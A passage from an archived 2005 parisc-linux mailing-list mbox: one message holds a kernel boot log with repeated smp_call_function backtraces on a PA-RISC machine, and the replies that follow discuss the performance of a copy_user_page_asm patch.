13. Elroy PCI Bridge at 0xffffffffbfff4000 [0/10] { 13, 0x0, 0x782, 0x000=
0a
}
14. Elroy PCI Bridge at 0xffffffffbfff8000 [0/12] { 13, 0x0, 0x782, 0x000=
0a
}
15. IKE I/O BC Merced Port at 0xfffffffffed40000 [1] { 7, 0x0, 0x803, 0x0=
000c
}
16. Elroy PCI Bridge at 0xfffffffffece0000 [1/0] { 13, 0x0, 0x782, 0x0000=
a
}
17. Elroy PCI Bridge at 0xfffffffffece4000 [1/2] { 13, 0x0, 0x782, 0x0000=
a
}
18. Elroy PCI Bridge at 0xfffffffffece8000 [1/4] { 13, 0x0, 0x782, 0x0000=
a
}
19. Elroy PCI Bridge at 0xfffffffffecf0000 [1/8] { 13, 0x0, 0x782, 0x0000=
a
}
20. Elroy PCI Bridge at 0xfffffffffecf4000 [1/10] { 13, 0x0, 0x782, 0x000=
0a
}
21. Elroy PCI Bridge at 0xfffffffffecf8000 [1/12] { 13, 0x0, 0x782, 0x000=
0a
}
Releasing cpu 1 now, hpa=3Dfffffffffed2d000
FP[1] enabled: Rev 1 Model 16
CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
Setting cache flush threshold to 22c380 (2 CPUs online)
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
LBA version TR4.0 (0x5) found at 0xffffffffbffe0000
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001019abec>] check_spinlock_acquired+0x24/0xb8
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000102ae708>] kobject_hotplug+0x298/0x3d0

Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001019abec>] check_spinlock_acquired+0x24/0xb8
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000102ae708>] kobject_hotplug+0x298/0x3d0

Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001019abec>] check_spinlock_acquired+0x24/0xb8
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000102ae708>] kobject_hotplug+0x298/0x3d0

Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001019abec>] check_spinlock_acquired+0x24/0xb8
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000102ae708>] kobject_hotplug+0x298/0x3d0

iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<0000000010153e40>] __call_console_drivers+0x98/0xc8
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000102ae708>] kobject_hotplug+0x298/0x3d0

LBA version TR4.0 (0x5) found at 0xffffffffbffe2000
LBA version TR4.0 (0x5) found at 0xffffffffbffe4000
LBA version TR4.0 (0x5) found at 0xffffffffbffe8000
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001010d18c>] __udivdi3+0x1c/0x30
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000101543ac>] printk+0x3c/0x50

LBA version TR4.0 (0x5) found at 0xffffffffbffea000
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001010d18c>] __udivdi3+0x1c/0x30
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000101543ac>] printk+0x3c/0x50

LBA version TR4.0 (0x5) found at 0xffffffffbfff0000
LBA version TR4.0 (0x5) found at 0xffffffffbfff4000
LBA version TR4.0 (0x5) found at 0xffffffffbfff8000
LBA version TR4.0 (0x5) found at 0xfffffffffece0000
LBA version TR4.0 (0x5) found at 0xfffffffffece4000
LBA version TR4.0 (0x5) found at 0xfffffffffece8000
LBA version TR4.0 (0x5) found at 0xfffffffffecf0000
LBA version TR4.0 (0x5) found at 0xfffffffffecf4000
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<000000001010d18c>] __udivdi3+0x1c/0x30
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8
 [<00000000101543ac>] printk+0x3c/0x50

LBA version TR4.0 (0x5) found at 0xfffffffffecf8000
Badness in smp_call_function at arch/parisc/kernel/smp.c:342
Backtrace:
 [<0000000010107074>] intr_return+0x0/0x24
 [<000000001010d18c>] __udivdi3+0x1c/0x30
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<0000000010115ecc>] enable_cpu_irq+0x74/0xb0
 [<0000000010116aa8>] setup_irq+0x170/0x198
 [<00000000102b6f1c>] pci_bus_read_config_byte+0x8c/0xe0
 [<0000000010116c04>] request_irq+0x134/0x178
 [<00000000102c20ec>] iosapic_xlate_pin+0xc4/0xe8
 [<00000000102c272c>] iosapic_fixup_irq+0x14c/0x218
 [<00000000102c6d18>] lba_fixup_bus+0x110/0x428
 [<00000000102b8c48>] pci_scan_slot+0x58/0xe8
 [<0000000010121624>] pcibios_fixup_bus+0x54/0x80
 [<00000000102b8d3c>] pci_scan_child_bus+0x64/0x118
 [<0000000010300f04>] class_device_create_file+0x2c/0x40
 [<00000000102b9100>] pci_scan_bus_parented+0x2b8/0x2d8

SCSI subsystem initialized
unwind_init: start =3D 0x104a6300, end =3D 0x104c9d70, entries =3D 9127
Performance monitoring counters enabled for Unknown machine
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled=

ttyS0 at MMIO 0xffffffff80000000 (irq =3D 132) is a 16550A
ttyS1 at MMIO 0xffffffff80000008 (irq =3D 132) is a 16450
ttyS2 at MMIO 0xffffffff80000010 (irq =3D 132) is a 16550A
ttyS3 at MMIO 0xffffffff80000038 (irq =3D 132) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13 (December 15, 2004)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at ffffffff80003000, 00:30:6E:1C:B2:0B=
,
IRQ 128.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) bloc=
k.
tulip1: ***WARNING***: No MII transceiver found!
eth1: Digital DS21143 Tulip rev 65 at ffffffff8a000000, 00:30:6E:21:14:B4=
,
IRQ 384.
sym0: <895> rev 0x1 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
scsi0 : sym-2.1.18n
sym0: SCSI BUS has been reset.
elevator: using anticipatory as default io scheduler
  Vendor: SEAGATE   Model: ST39103LW         Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:8:0: tagged command queuing enabled, command queue depth 16.
 target0:0:8: Beginning Domain Validation
sym0:8: wide asynchronous.
sym0:8: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:8: Domain Validation skipping write tests
 target0:0:8: Ending Domain Validation
sym1: <875> rev 0x37 at pci 0000:00:02.0 irq 130
sym1: No NVRAM, ID 7, Fast-20, SE, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18n
sym2: <875> rev 0x37 at pci 0000:00:02.1 irq 131
sym2: No NVRAM, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18n
st: Version 20041025, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 >
Attached scsi disk sda at scsi0, channel 0, id 8, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 8, lun 0,  type 0
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: md driver 0.90.1 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
NET: Registered protocol family 2
IP: routing cache hash table of 8192 buckets, 192Kbytes
TCP: Hash tables configured (established 131072 bind 43690)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: Badness in smp_call_function at arch/parisc=
/kernel/smp.c:342
Backtrace:
 [<00000000101147e8>] dump_stack+0x20/0x38
 [<00000000101209d8>] smp_call_function+0xd8/0x4c0
 [<00000000101133f0>] flush_data_cache+0x38/0x70
 [<0000000010111f78>] free_initmem+0x78/0x560
 [<0000000010111c74>] init+0x2c4/0x478
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x38

320k freed
INIT: version 2.86 booting
Usage: vt-is-UTF8 [option]
valid options are:
        -q  --quiet    don't print result
        -h --help      display this help text and exit
        -V --version   display version information and exit
Activating swap.
Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1
Checking root file system...
fsck 1.35 (28-Feb-2004)
/dev/sda5: clean, 68285/203008 files, 302884/406012 blocks (check in 3 mo=
unts)
EXT3 FS on sda5, internal journal
System time was Tue Jan  4 13:23:20 UTC 2005.

Any idea?

TIA,
    Joel


-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 08:51:19 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200501040851.19806.mszick@wolfbutter.com>
References: <20050103061910.GJ15061@colo.lackof.org>
	<20050104061342.GE18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623637 12146 80.91.229.3 (22 Nov 2014 02:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 14:53:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 04 Jan 2005 15:53:48 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B00DB3BE66; Tue,  4 Jan 2005 07:53:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31105-10; Tue, 4 Jan 2005 07:53:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6B6D33BE6A; Tue,  4 Jan 2005 07:53:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73DBC3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 07:53:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31101-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 07:53:08 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 432293BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 07:53:08 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j04Er8j7035517 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 06:53:08 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.191.179] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id sNU1WQb5
	authenticated by SMTP; Tue, 04 Jan 2005 06:53:07 -0700 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <20050104061342.GE18497@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22247

On Tue January 4 2005 00:13, Randolph Chung wrote:
> > This patch adds one more cycle between the load and store of a
> > given register by using three pairs of registers instead of two.
> > I had previously quoted one of the PA-8xxx papers that indicated
> > L1 cache was 2 cycles latency.
> > With this diff, the unrolled part of the loop now meets that.
> > The prolog and epilogue obviously cannot.
> > 
> > If anyone can show me a workload that improves with this diff,
> > I'll apply it. Otherwise it's just an academic excercise.
> 
> i'd like to see numbers too, but i doubt you will see any. it appears
> that at least newer PA cpus do a sufficient amount of internal
> instruction reordering that you don't see a difference as long as there
> are enough pending instructions to keep the pipeline busy.
> 
One other possibility to keep in mind when testing: this is an
io sequence, no heavy register-register computations.

If the 4-regs + internal reordering has already saturated the
cpu-external busses...

Then even if the cpu-core can execute the 6-regs + internal
reordering more effectively, you will never see it outside
of the cpu.

You might have to borrow a buss analyzer from the hardware
lab to see if this is effecting your tests.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF use 6-regs in copy_user_page_asm
Date: Tue, 4 Jan 2005 09:02:27 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20050104160227.GA28074@colo.lackof.org>
References: <20050103061910.GJ15061@colo.lackof.org>
	<20050104061342.GE18497@tausq.org>
	<200501040851.19806.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623637 12150 80.91.229.3 (22 Nov 2014 02:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jan 2005 16:02:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 04 Jan 2005 17:02:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2CBD63BE6C; Tue,  4 Jan 2005 09:02:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32181-01; Tue, 4 Jan 2005 09:02:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D8CCB3BE6F; Tue,  4 Jan 2005 09:02:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA6A33BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 09:02:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31593-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 4 Jan 2005 09:02:29 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E8AE93BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Jan 2005 09:02:28 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 105D4298059;
	Tue,  4 Jan 2005 09:02:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28004-05; Tue, 4 Jan 2005 09:02:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3D18629803F; Tue,  4 Jan 2005 09:02:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200501040851.19806.mszick@wolfbutter.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22248

On Tue, Jan 04, 2005 at 08:51:19AM -0600, Michael S. Zick wrote:
> One other possibility to keep in mind when testing: this is an
> io sequence, no heavy register-register computations.

Not entirely. Sure, to load data into cache it's "io".
But the bulk of the loop is to move data from one cacheline
to another.

> You might have to borrow a buss analyzer from the hardware
> lab to see if this is effecting your tests.

I don't. If 6-regs works better then I use it.
If CPU performance counter support worked, we could figure
out where the bottlenecks were for both cases.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michiel Broek <mbroek@mbse.dds.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: front-panel LED and switch support broken
	(was: 2.6.10-pa1 compile fails)
Date: Mon, 3 Jan 2005 22:18:33 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <200501032218.33618.mbroek@mbse.dds.nl>
References: <Pine.LNX.4.21.0501031142060.31807-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623638 12152 80.91.229.3 (22 Nov 2014 02:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2005 21:19:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 03 Jan 2005 22:19:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E41E3BE5D; Mon,  3 Jan 2005 14:19:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20837-09; Mon, 3 Jan 2005 14:19:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
